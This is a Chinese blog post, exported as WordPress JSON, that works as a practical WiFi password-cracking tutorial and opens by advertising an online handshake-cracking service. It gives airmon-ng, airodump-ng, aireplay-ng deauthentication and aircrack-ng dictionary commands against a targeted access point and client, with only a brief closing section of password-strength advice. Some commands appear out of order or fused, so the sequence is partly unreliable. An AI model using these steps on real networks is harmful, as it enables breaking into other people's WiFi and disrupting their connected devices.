{"id":4231,"date":"2024-04-01T01:17:16","date_gmt":"2024-03-31T17:17:16","guid":{"rendered":"http:\/\/www.ccwifi.cc\/blogs\/?p=4231"},"modified":"2024-04-01T01:17:16","modified_gmt":"2024-03-31T17:17:16","slug":"wifi%e5%af%86%e7%a0%81%e7%a0%b4%e8%a7%a3%e4%b8%8e%e9%98%b2%e8%8c%833817","status":"publish","type":"post","link":"https:\/\/www.ccwifi.cc\/blogs\/2024\/04\/01\/wifi%e5%af%86%e7%a0%81%e7%a0%b4%e8%a7%a3%e4%b8%8e%e9%98%b2%e8%8c%833817\/","title":{"rendered":"WiFi\u5bc6\u7801\u7834\u89e3\u4e0e\u9632\u8303"},"content":{"rendered":"
\n

\u5728\u7ebfwifi\u8dd1\u5305 \u91d1\u521a\u5305\u8dd1\u5305 cap\u8dd1\u5305 hccapx ewsa\u5728\u7ebf \u5c31\u6765 \u63e1\u624b\u5305\u8dd1\u5305<\/a><\/strong><\/p>\n

\u5404\u4f4d\u597d \u53c8\u89c1\u9762\u4e86 \u6211\u662f\u66f9\u64cd \u4eca\u5929\u7ed9\u5927\u5bb6\u5e26\u6765\u4e00\u7bc7\u65b0\u7684\u6559\u7a0b<\/p>\n

\u5e0c\u671b\u5404\u4f4d\u7ec6\u5fc3\u5b66\u4e60 \u4f4e\u8c03\u7528\u7f51<\/p>\n<\/div>\n

\"\u63e1\u624b\u6293\u5305\u7834\u89e3wifi\u5bc6\u7801\"<\/p>\n

\u5728\u8fd9\u7bc7\u6587\u7ae0\u4e2d\uff0c\u6211\u4eec\u5c06\u8ba8\u8bbaWiFi\u5bc6\u7801\u7684\u7834\u89e3\u548c\u9632\u8303\u3002\u8bf7\u6ce8\u610f\uff0c\u672c\u6559\u7a0b\u4ec5\u4f9b\u5b66\u672f\u548c\u7f51\u7edc\u6280\u672f\u7231\u597d\u8005\u63a2\u8ba8\u4f7f\u7528\u3002<\/p>\n

    \n
  1. WiFi\u7834\u89e3\u539f\u7406
    \n\u672c\u7ae0\u8282\u5c06\u4ecb\u7ecdWiFi\u7684\u8ba4\u8bc1\u65b9\u5f0f\u3001\u8ba4\u8bc1\u8fc7\u7a0b\u4ee5\u53ca\u5229\u7528\u8ba4\u8bc1\u8fdb\u884c\u7834\u89e3\u7684\u57fa\u672c\u539f\u7406\u3002<\/li>\n<\/ol>\n

    1.1 WiFi\u8ba4\u8bc1\u65b9\u5f0f
    \n\u5e38\u89c1\u7684WiFi\u8ba4\u8bc1\u65b9\u5f0f\u5305\u62ec\uff1a<\/p>\n

      \n
    1. \u4e0d\u542f\u7528\u5b89\u5168\u8ba4\u8bc1<\/li>\n
    2. WEP\u8ba4\u8bc1<\/li>\n
    3. WPA\/WPA2-PSK\u8ba4\u8bc1<\/li>\n
    4. WPA\/WPA2 802.1X\u8ba4\u8bc1\uff08radius\u8ba4\u8bc1\uff09
      \n\u4e00\u822c\u6765\u8bf4\uff0c\u6211\u4eec\u5e38\u7528\u7684\u662f\u7b2c\u4e09\u79cd\u65b9\u5f0f\u3002\u5728\u8def\u7531\u5668\u7684\u914d\u7f6e\u754c\u9762\u4e2d\uff0c\u901a\u5e38\u5982\u4e0b\u56fe\u6240\u793a\uff1a<\/li>\n<\/ol>\n

      \"\u63e1\u624b\u6293\u5305\u7834\u89e3wifi\u5bc6\u7801\"\"\u63e1\u624b\u6293\u5305\u7834\u89e3wifi\u5bc6\u7801\"<\/p>\n

      1.2 WPA-PSK\u7684\u8ba4\u8bc1\u8fc7\u7a0b<\/p>\n

        \n
      1. \u65e0\u7ebfAP\u5b9a\u671f\u53d1\u9001beacon\u6570\u636e\u5305\uff0c\u4f7f\u65e0\u7ebf\u7ec8\u7aef\u66f4\u65b0\u81ea\u5df1\u7684\u65e0\u7ebf\u7f51\u7edc\u5217\u8868\u3002<\/li>\n
      2. \u65e0\u7ebf\u7ec8\u7aef\u5728\u6bcf\u4e2a\u4fe1\u9053\uff081-13\uff09\u5e7f\u64adProbeRequest\uff08\u975e\u9690\u85cf\u7c7b\u578b\u7684WiFi\u542bESSID\uff0c\u9690\u85cf\u7c7b\u578b\u7684WiFi\u4e0d\u542bESSID\uff09\u3002<\/li>\n
      3. \u6bcf\u4e2a\u4fe1\u9053\u7684AP\u56de\u5e94ProbeResponse\uff0c\u5305\u542bESSID\u548cRSN\u4fe1\u606f\u3002<\/li>\n
      4. \u65e0\u7ebf\u7ec8\u7aef\u7ed9\u76ee\u6807AP\u53d1\u9001AUTH\u5305\u3002AUTH\u8ba4\u8bc1\u7c7b\u578b\u6709\u4e24\u79cd\uff0c0\u4e3a\u5f00\u653e\u5f0f\uff0c1\u4e3a\u5171\u4eab\u5f0f\uff08WPA\/WPA2\u5fc5\u987b\u662f\u5f00\u653e\u5f0f\uff09\u3002<\/li>\n
      5. AP\u56de\u5e94\u7f51\u5361\u7684AUTH\u5305\u3002<\/li>\n
      6. \u65e0\u7ebf\u7ec8\u7aef\u7ed9AP\u53d1\u9001\u5173\u8054\u8bf7\u6c42\u5305associationrequest\u6570\u636e\u5305\u3002<\/li>\n
      7. AP\u7ed9\u65e0\u7ebf\u7ec8\u7aef\u53d1\u9001\u5173\u8054\u54cd\u5e94\u5305associationresponse\u6570\u636e\u5305\u3002<\/li>\n
      8. \u8fdb\u884cEAPOL\u56db\u6b21\u63e1\u624b\u8ba4\u8bc1\uff08\u63e1\u624b\u5305\u662f\u7834\u89e3\u7684\u5173\u952e\uff09\u3002<\/li>\n
      9. \u5b8c\u6210\u8ba4\u8bc1\uff0c\u5373\u53ef\u4e0a\u7f51\u3002<\/li>\n<\/ol>\n

        1.3 WPA-PSK\u8ba4\u8bc1\u56db\u6b21\u63e1\u624b\u8ba4\u8bc1\u7684\u8fc7\u7a0b<\/p>\n

        \"\u63e1\u624b\u6293\u5305\u7834\u89e3wifi\u5bc6\u7801\"<\/p>\n

        1.4 WPA-PSK\u7834\u89e3\u539f\u7406
        \n\u7834\u89e3WPA-PSK\u7684\u539f\u7406\u662f\uff0c\u9996\u5148\u4f7f\u7528\u5b57\u5178\u4e2d\u7684PSK+SSID\u751f\u6210PMK\uff08\u8fd9\u662f\u76ee\u524d\u7834\u89e3\u7684\u74f6\u9888\uff0c\u8017\u65f6\u6700\u957f\uff09\uff0c\u7136\u540e\u7ed3\u5408\u63e1\u624b\u5305\u4e2d\u7684\u5ba2\u6237\u7aefMAC\u3001AP\u7684BSSID\u3001A-NONCE\u548cS-NONCE\u8ba1\u7b97PTK\uff0c\u518d\u52a0\u4e0a\u539f\u59cb\u7684\u62a5\u6587\u6570\u636e\u8ba1\u7b97MIC\uff0c\u5e76\u4e0eAP\u53d1\u9001\u7684MIC\u8fdb\u884c\u6bd4\u8f83\uff0c\u5982\u679c\u4e00\u81f4\uff0c\u5219\u8be5PSK\u5c31\u662f\u5bc6\u7801\u3002<\/p>\n

        \u5982\u4e0b\u56fe\u6240\u793a\uff1a<\/p>\n

        1. service  network<\/span>-<\/span>manager stop<\/span><\/code><\/li><\/ol><\/pre>\n
          1. airmon<\/span>-<\/span>ng check kill<\/span><\/code><\/li><\/ol><\/pre>\n
            1. ifconfig<\/span><\/code><\/li><\/ol><\/pre>\n
              1. iwconfig<\/span><\/code><\/li><\/ol><\/pre>\n
                1. ifconfig wlan0 up<\/span><\/code><\/li><\/ol><\/pre>\n
                    \n
                  1. WiFi\u7834\u89e3\u8fc7\u7a0b
                    \n2.1 \u7834\u89e3WiFi\u5b9e\u6218
                    \n\uff081\uff09\u5173\u95ed\u7f51\u7edc\u7ba1\u7406\u5668\uff0c\u4ee5\u9632\u5e72\u6270\u3002
                    \n\uff082\uff09\u67e5\u770b\u672c\u673a\u7535\u8111\u7684\u65e0\u7ebf\u7f51\u5361\uff0c\u5982\u679c\u6ca1\u6709\u65e0\u7ebf\u7f51\u5361\uff0c\u8bf7\u63d2\u5165USB\u65e0\u7ebf\u7f51\u5361\u3002\u5982\u679c\u662f\u63d2\u5165USB\u7f51\u5361\uff0c\u8bf7\u52a0\u8f7d\u65e0\u7ebf\u7f51\u5361\u3002
                    \n\uff083\uff09\u6fc0\u6d3b\u7f51\u5361\u4e3a\u76d1\u542c\uff08monitor\uff09\u6a21\u5f0f\uff0c\u5f97\u5230\u76d1\u63a7\u6a21\u5f0f\u4e0b\u7684\u8bbe\u5907\u540d\uff0c\u5982mon0\u6216wlan0mon\uff0c\u8bf7\u8bb0\u4f4f\u8fd9\u4e2a\u540d\u5b57\u3002
                    \n\uff084\uff09\u63a2\u6d4b\u5468\u56f4\u65e0\u7ebf\u7f51\u7edc\uff0c\u67e5\u770b\u5468\u8fb9\u8def\u7531AP\u7684\u4fe1\u606f\u3002\u4e00\u822c\u6765\u8bf4\uff0c\u4fe1\u53f7\u5f3a\u5ea6\u5927\u4e8e-70\u7684\u7f51\u7edc\u53ef\u4ee5\u8fdb\u884c\u7834\u89e3\uff0c\u5927\u4e8e-60\u6700\u597d\uff0c\u5c0f\u4e8e-70\u7684\u4fe1\u53f7\u8f83\u5f31\u4e14\u4e0d\u7a33\u5b9a\uff08\u4fe1\u53f7\u5f3a\u5ea6\u7684\u7edd\u5bf9\u503c\u8d8a\u5c0f\u8868\u793a\u4fe1\u53f7\u8d8a\u5f3a\uff09\u3002<\/li>\n<\/ol>\n
                    \"\u63e1\u624b\u6293\u5305\u7834\u89e3wifi\u5bc6\u7801\"\"\u63e1\u624b\u6293\u5305\u7834\u89e3wifi\u5bc6\u7801\"<\/p>\n
                    1. airodump<\/span>-<\/span>ng <\/span>--<\/span>ignore<\/span>-<\/span>negative<\/span>-<\/span>one <\/span>-<\/span>w  <\/span>\/<\/span>tmp<\/span>\/<\/span>test<\/span>.<\/span>cap<\/span>-<\/span>c <\/span>11<\/span> <\/span>--<\/span>bssid <\/span>40<\/span>:<\/span>16<\/span>:<\/span>9F<\/span>:<\/span>76<\/span>:<\/span>E7<\/span>:<\/span>DE mon0<\/span><\/code><\/li><\/ol><\/pre>\n
                      1. aireplay<\/span>-<\/span>ng <\/span>-<\/span>0<\/span> <\/span>3<\/span> <\/span>-<\/span>a B8<\/span>:<\/span>A3<\/span>:<\/span>86<\/span>:<\/span>63<\/span>:<\/span>B4<\/span>:<\/span>06<\/span> <\/span>-<\/span>c <\/span>00<\/span>:<\/span>18<\/span>:<\/span>1a<\/span>:<\/span>10<\/span>:<\/span>da<\/span>:<\/span>c9 <\/span>-<\/span>x <\/span>200<\/span> mon0<\/span><\/code><\/li><\/ol><\/pre>\n
                        \uff085\uff09\u9009\u62e9\u8981\u7834\u89e3\u7684WiFi\uff0c\u6709\u9488\u5bf9\u6027\u5730\u6293\u53d6\u63e1\u624b\u5305\u3002\u4f7f\u7528\u547d\u4ee4\u53c2\u6570-w\u6307\u5b9a\u6570\u636e\u5305\u7684\u6587\u4ef6\u540d\uff0c-c\u6307\u5b9a\u4fe1\u9053\uff0c-bssid\u6307\u5b9aAP\u7684MAC\u5730\u5740\u3002\u4e5f\u53ef\u4ee5\u4f7f\u7528\u5176\u4ed6\u5de5\u5177\u5982Wireshark\u3001Tcpdump\u6765\u6293\u5305\uff0c\u6293\u5230\u63e1\u624b\u5305\u4f1a\u6709\u63d0\u793a\u3002
                        \n\uff086\uff09\u6a21\u62df\u76ee\u6807WiFi\uff0c\u5411\u53ef\u4fe1\u5ba2\u6237\u7aef\u53d1\u8d77\u65ad\u94fe\u653b\u51fb\u3002\u4e3a\u4e86\u987a\u5229\u6293\u53d6\u63e1\u624b\u5305\uff0c\u6211\u4eec\u9700\u8981\u4f7f\u7528DEAUTH\u653b\u51fb\u4f7f\u5df2\u8fde\u63a5\u7684\u5ba2\u6237\u7aef\u65ad\u5f00\u5e76\u91cd\u65b0\u8fde\u63a5\uff0c\u4ee5\u4ea7\u751f\u63e1\u624b\u5305\uff08\u6ce8\u610f\uff1a\u6293\u63e1\u624b\u5305\u7834\u89e3\u5fc5\u987b\u6709\u5408\u6cd5\u7684\u5ba2\u6237\u7aef\uff09\u3002<\/p>\n
                        \u653b\u51fb\u547d\u4ee4\u5982\u4e0b\uff1a<\/p>\n
                        \"\u63e1\u624b\u6293\u5305\u7834\u89e3wifi\u5bc6\u7801\"<\/p>\n
                        1. aircrack<\/span>-<\/span>ng<\/span>-<\/span>w <\/span>pass<\/span>-<\/span>haoyong<\/span>.<\/span>txt test<\/span>-<\/span>03.cap<\/span><\/code><\/li><\/ol><\/pre>\n
                          \u5982\u679c\u653b\u51fb\u6210\u529f\uff0cAirodump-ng\u5c06\u6355\u83b7\u5230\u63e1\u624b\u5305\uff0c\u6b64\u65f6\u53ef\u4ee5\u4f7f\u7528Ctrl+C\u7ec8\u6b62Airodump-ng\u7684\u6293\u5305\u3002<\/p>\n
                          \uff087\uff09\u901a\u8fc7\u5b57\u5178\u66b4\u529b\u7834\u89e3\u6355\u83b7\u5230\u7684\u52a0\u5bc6\u5bc6\u7801\u3002<\/p>\n
                          \"\u63e1\u624b\u6293\u5305\u7834\u89e3wifi\u5bc6\u7801\"\"\u63e1\u624b\u6293\u5305\u7834\u89e3wifi\u5bc6\u7801\"<\/p>\n
                          1. service  network<\/span>-<\/span>manager start<\/span><\/code><\/li><\/ol><\/pre>\n
                            <\/p>\n
                            \u53c2\u6570\u89e3\u91ca\uff1a-w\u6307\u5b9a\u5b57\u5178\u8def\u5f84\u3002\u5982\u679c\u5b57\u5178\u4e2d\u5b58\u5728\u5bf9\u65b9\u7684\u5bc6\u7801\uff0c\u7ecf\u8fc7\u4e00\u6bb5\u65f6\u95f4\u540e\u5c31\u4f1a\u7834\u89e3\u6210\u529f\uff0c\u5e76\u6700\u7ec8\u663e\u793aFOUND KEY!\u7684\u5b57\u6837\u3002<\/p>\n
                            \uff088\uff09\u7834\u89e3\u6210\u529f\u540e\uff0c\u6062\u590d\u7f51\u7edc\u73af\u5883\u3002<\/p>\n
                            2.2 \u5173\u4e8eWiFi\u5b89\u5168\u7684\u5efa\u8bae
                            \n\uff081\uff09\u4e0d\u8981\u4f7f\u7528WEP\u65b9\u5f0f\u52a0\u5bc6\u8def\u7531\u5668\u5bc6\u7801\uff0c\u56e0\u4e3aWPA2-PSK\u7684\u52a0\u5bc6\u65b9\u5f0f\u662f\u4e0d\u53ef\u9006\u7684\uff0c\u800cWEP\u662f\u53ef\u9006\u7684\uff0c\u65e0\u8bba\u5bc6\u7801\u591a\u4e48\u590d\u6742\uff0c\u90fd\u53ef\u4ee5\u88ab\u8f7b\u6613\u7834\u89e3\u3002
                            \n\uff082\uff09\u9009\u62e9WPA2-PSK\u52a0\u5bc6\u65b9\u5f0f\uff0c\u5e76\u907f\u514d\u4f7f\u7528\u5e38\u89c1\u7684\u5bc6\u7801\uff0c\u5982\u7b80\u5355\u7684123456aa\u3002\u56e0\u4e3a\u5e38\u7528\u7684\u5bc6\u7801\u5b57\u5178\u4e2d\u901a\u5e38\u5305\u542b\u8fd9\u4e9b\u5bc6\u7801\uff0c\u6240\u4ee5\u5f88\u5bb9\u6613\u88ab\u7834\u89e3\u3002
                            \n\uff083\uff09\u5bc6\u7801\u5e94\u7a0d\u5fae\u590d\u6742\u4e00\u4e9b\uff0c\u957f\u5ea6\u4e0d\u8981\u5c40\u9650\u4e8e8\u4f4d\u3002<\/p>\n
                            \u89c6\u9891\u94fe\u63a5\uff1a<\/p>\n
                            \u8d44\u6599\u94fe\u63a5\uff1a[\u94fe\u63a5] \u5bc6\u7801\uff1arn7i<\/p>\n
                            \u76f4\u64ad\u89c6\u9891\u94fe\u63a5\uff1a[\u94fe\u63a5]<\/p>\n","protected":false},"excerpt":{"rendered":"
                            WiFi\u5bc6\u7801\u7834\u89e3\u4e0e\u9632\u8303WiFi\u5bc6\u7801\u7834\u89e3\u4e0e\u9632\u8303\u6b64\u6559\u7a0b\u4e3awifi\u65e0\u7ebf\u5bc6\u7801\u7834\u89e3\u653b\u7565\uff0c\u5efa\u8bae\u4ee5\u63a2\u8ba8\u5b66\u672f\u548c\u70ed\u7231\u7f51\u7edc\u6280\u672f\u4e3a\u5b66\u4e60\u76ee\u6807\u30021 WIFI\u7834\u89e3\u539f\u7406\u672c\u7ae0\u8282\u4e3b\u8981\u4ecb\u7ecdWIFI\u8ba4\u8bc1\u65b9\u5f0f\u548c\u8ba4\u8bc1\u5177\u4f53\u8fc7\u7a0b<\/p>\n","protected":false},"author":1,"featured_media":4232,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"topic":[],"class_list":["post-4231","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts\/4231","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/comments?post=4231"}],"version-history":[{"count":0,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts\/4231\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/media\/4232"}],"wp:attachment":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/media?parent=4231"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/categories?post=4231"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/tags?post=4231"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/topic?post=4231"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}